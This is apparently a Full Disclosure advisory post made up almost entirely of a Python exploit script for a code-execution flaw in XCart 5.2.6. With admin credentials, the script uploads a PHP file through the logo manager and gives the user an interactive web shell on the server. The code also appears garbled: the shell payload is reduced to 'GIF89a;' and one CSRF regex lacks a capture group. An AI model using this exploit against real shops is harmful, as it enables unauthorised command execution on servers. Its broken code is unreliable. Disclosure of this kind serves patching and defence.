[FD] XCart 5.2.6: Code Execution Exploit

#!/usr/local/bin/python # Exploit for XCart 5.2.6 Code Execution vulnerability # An admin account is required to use this exploit # Curesec GmbH import sys import re import requests # requires requests lib if len(sys.argv) != 4: exit("usage: python " + sys.argv[0] + " http://ift.tt/1MIfaDl admin@example.com admin") url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] loginPath = "/admin.php?target=login" fileManagerPath = "/admin.php?target=logo_favicon" shellFileName = "404.php" shellContent = "GIF89a;" def login(requestSession, url, username, password): csrfRequest = requestSession.get(url) csrfTokenRegEx = re.search('name="xcart_form_id" type="hidden" value="(.*)" class', csrfRequest.text) csrfToken = csrfTokenRegEx.group(1) postData = {"target": "login", "action": "login", "xcart_form_id": csrfToken, "login": username, "password": password} loginResult = requestSession.post(url, data = postData).text return "Invalid login or password" not in loginResult def upload(requestSession, url, fileName, fileContent): csrfRequest = requestSession.get(url) csrfTokenRegEx = re.search('SimpleCMS" />\n

', csrfRequest.text) csrfToken = csrfTokenRegEx.group(1) filesData = {"logo": (fileName, fileContent)} postData = {"target": "logo_favicon", "action": "update", "page": "CDev\SimpleCMS", "xcart_form_id": csrfToken} uploadResult = requestSession.post(url, files = filesData, data = postData) return "The data has been saved successfully" in uploadResult.text def runShell(url): print("enter command, or enter exit to quit.") command = raw_input("$ ") while "exit" not in command: print(requests.get(url + command).text.replace("GIF89a;", "")) command = raw_input("$ ") requestSession = requests.session() if login(requestSession, url + loginPath, username, password): print("successful: login") else: exit("ERROR: Incorrect username or password") if upload(requestSession, url + fileManagerPath, shellFileName, shellContent): print("successful: file uploaded") else: exit("ERROR: could not upload file") runShell(url + shellFileName + "?x=") Blog Reference: http://ift.tt/1SPwiI3

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